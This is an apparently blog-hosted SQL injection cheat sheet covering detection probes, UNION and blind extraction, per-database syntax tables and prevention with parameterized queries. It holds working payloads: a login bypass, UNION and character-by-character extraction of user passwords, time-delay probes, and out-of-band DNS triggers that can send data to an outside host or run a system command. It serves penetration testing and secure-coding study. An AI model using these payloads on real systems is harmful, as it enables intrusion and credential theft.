Cheat Sheet: SQL Injection (SQLi)

Condensed, high-density SQL injection reference — detection, injection contexts, UNION and blind techniques, and per-DBMS syntax (Oracle / MSSQL / PostgreSQL / MySQL) in scannable tables.

Cheat Sheet: SQL Injection (SQLi)

What is SQL injection?

SQLi lets an attacker interfere with the queries an application sends to its database — reading data belonging to other users, modifying or deleting data, and sometimes escalating to compromise the server or run denial-of-service. It happens wherever untrusted input is concatenated into a query instead of being passed as a parameter.

Conventions below:

  • -- = Comment to end of line
  • + = URL-encoded space
  • [T]/[C] = Target table/column
  • Payloads shown pre-encoding unless noted
  • Injection assumed inside a single-quoted string in a WHERE clause unless stated.

Detection — first moves

Systematic tests to run against every entry point.

ProbePayloadWhat a positive looks like
Break the string'Error, or any behavior/response change ⇒ injectable.
Base vs. altered valuemath/string that evaluates to original then to something elseSystematic response difference between the two.
Boolean logicOR 1=1 vs OR 1=2Responses differ between true and false.
Time delayDBMS-specific sleep (see below)Response is delayed only on the true case.
Out-of-band (OAST)DBMS-specific DNS triggerInteraction lands in Burp Collaborator.

OR 1=1 can reach an UPDATE/DELETE if the app reuses request data across queries — risking data loss. Prefer a scoped condition on a live target.

Injection contexts

Most SQLi is in a SELECTWHERE, but it arises anywhere input reaches the query.

LocationWhere it hides
SELECT … WHEREThe classic — quoted string or numeric value.
UPDATEUpdated values, or the WHERE clause.
INSERTInserted values.
SELECT table/column nameNot parameterizable — needs allow-listing.
ORDER BYNot parameterizable — column index/name.
Non-URL inputsJSON/XML bodies, headers, cookies — often used to bypass WAFs via encoding.

Core payloads — retrieving data & subverting logic

GoalPayloadResulting query / note
Reveal hidden rows (drop trailing conditions)Gifts'--… WHERE category = 'Gifts'--' AND released = 1AND released = 1 is commented out.
Return everythingGifts'+OR+1=1--1=1 is always true ⇒ all rows.
Login bypass (known user)administrator'--… WHERE username = 'administrator'--' AND password = '' — password check removed.

UNION attacks

Append a second SELECT and read its results in the response. Requires (1) same column count and (2) compatible column types.

StepPayloadRead the result
Count columns (ORDER BY)'+ORDER+BY+1--, 2, 3Increment until “position N out of range” / error.
Count columns (UNION NULLs)'+UNION+SELECT+NULL--, NULL,NULL--Add NULLs until the error stops. NULL casts to any type.
Find a string-friendly column'+UNION+SELECT+'a',NULL,NULL-- (rotate 'a')No cast error + a echoed ⇒ that column holds strings.
Exfiltrate two known columns'+UNION+SELECT+username,password+FROM+users--Values appear in the response.
Two values, one column'+UNION+SELECT+username||'~'||password+FROM+users--Concatenation is DBMS-specific (see table).
Oracle needs a table'+UNION+SELECT+NULL+FROM+dual--Every Oracle SELECT needs FROM; use dual.

Examining the database

GoalQueryNote
Version'+UNION+SELECT+@@version-- (see per-DBMS)Fingerprint before anything downstream.
List tablesSELECT * FROM information_schema.tablesOracle uses all_tables.
List columnsSELECT * FROM information_schema.columns WHERE table_name = '[T]'Oracle uses all_tab_columns.

Blind SQLi — pick the oracle you have

No query output and no errors in the response. Extract one character at a time via a boolean oracle.

OraclePayload skeletonSignal you read
Conditional responsexyz'+AND+'1'='1 vs …'1'='2Content differs (e.g. “Welcome back” appears/vanishes).
Char extractionxyz'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)>'mBinary-search each char (>, =). SUBSTR on some DBMS.
Conditional errorxyz'+AND+(SELECT+CASE+WHEN+(cond)+THEN+1/0+ELSE+'a'+END)='aDB error appears only when cond is true.
Verbose error leakCAST((SELECT [C] FROM [T]) AS int)Error text contains the string value (“invalid input syntax…”).
Time delayDBMS sleep gated on cond (see table)Response is slow only when true.
Out-of-band (OAST)DBMS DNS trigger + subdomainDNS hit in Collaborator; can exfiltrate data in the subdomain.

Verbose errors are also a free win: an unterminated-string error often echoes the full query, confirming your exact injection context (quotes, clause, need to comment out the tail).

Per-DBMS syntax reference

The part worth bookmarking. Source: PortSwigger SQLi cheat sheet.

TaskOracleMicrosoft (MSSQL)PostgreSQLMySQL
String concat'foo'||'bar''foo'+'bar''foo'||'bar''foo' 'bar' (space) or CONCAT('foo','bar')
Substring (1-based)SUBSTR('foobar',4,2)SUBSTRING('foobar',4,2)SUBSTRING('foobar',4,2)SUBSTRING('foobar',4,2)
Comment--comment--comment / /*comment*/--comment / /*comment*/#comment / -- comment (needs space) / /*comment*/
VersionSELECT banner FROM v$versionSELECT @@versionSELECT version()SELECT @@version
List tablesSELECT * FROM all_tablesSELECT * FROM information_schema.tablesSELECT * FROM information_schema.tablesSELECT * FROM information_schema.tables
List columnsSELECT * FROM all_tab_columns WHERE table_name='[T]'… information_schema.columns WHERE table_name='[T]'… information_schema.columns WHERE table_name='[T]'… information_schema.columns WHERE table_name='[T]'
Conditional errorSELECT CASE WHEN (cond) THEN TO_CHAR(1/0) ELSE NULL END FROM dualSELECT CASE WHEN (cond) THEN 1/0 ELSE NULL END1=(SELECT CASE WHEN (cond) THEN 1/(SELECT 0) ELSE NULL END)SELECT IF(cond,(SELECT table_name FROM information_schema.tables),'a')
Visible-error leakSELECT 'foo' WHERE 1=(SELECT 'secret')SELECT CAST((SELECT password FROM users LIMIT 1) AS int)… AND EXTRACTVALUE(1,CONCAT(0x5c,(SELECT 'secret')))
Time delay (10s)dbms_pipe.receive_message(('a'),10)WAITFOR DELAY '0:0:10'SELECT pg_sleep(10)SELECT SLEEP(10)
Conditional delaySELECT CASE WHEN (cond) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dualIF (cond) WAITFOR DELAY '0:0:10'SELECT CASE WHEN (cond) THEN pg_sleep(10) ELSE pg_sleep(0) ENDSELECT IF(cond,SLEEP(10),'a')
Batched/stackednot supportedQ1; Q2Q1; Q2Q1; Q2 (rarely usable for SQLi)
DNS lookupSELECT EXTRACTVALUE(xmltype('<?xml … <!ENTITY % remote SYSTEM "http://SUBDOMAIN/"> %remote;]>'),'/l') FROM dualexec master..xp_dirtree '//SUBDOMAIN/a'copy (SELECT '') to program 'nslookup SUBDOMAIN'LOAD_FILE('\\\\SUBDOMAIN\\a') (Windows only)

For DNS-with-exfiltration variants (wrapping a subquery inside the subdomain), see the source cheat sheet — same triggers, with (SELECT YOUR-QUERY) spliced into the domain.

Second-order SQLi

Input is stored safely on first request, then later read back and concatenated into a query unsafely — the sink is a different request from the source. Developers trust it because “it came from the database.” Test stored values (profile names, etc.) that get reused in later queries.

Prevention

SituationFix
Untrusted data as a value (WHERE, INSERT/UPDATE values)Parameterized queries / prepared statements. Never string-concatenate.
Untrusted data as table/column name or in ORDER BYCan’t parameterize — allow-list against known-good values, or redesign the logic.
The parameterized string itselfMust be a hard-coded constant; never any variable data. Don’t decide “trusted” case-by-case.
// Vulnerable: input concatenated into the query
String query = "SELECT * FROM products WHERE category = '" + input + "'";

// Safe: input bound as a parameter
PreparedStatement statement =
    connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);

References

This post is licensed under CC BY 4.0 by the author.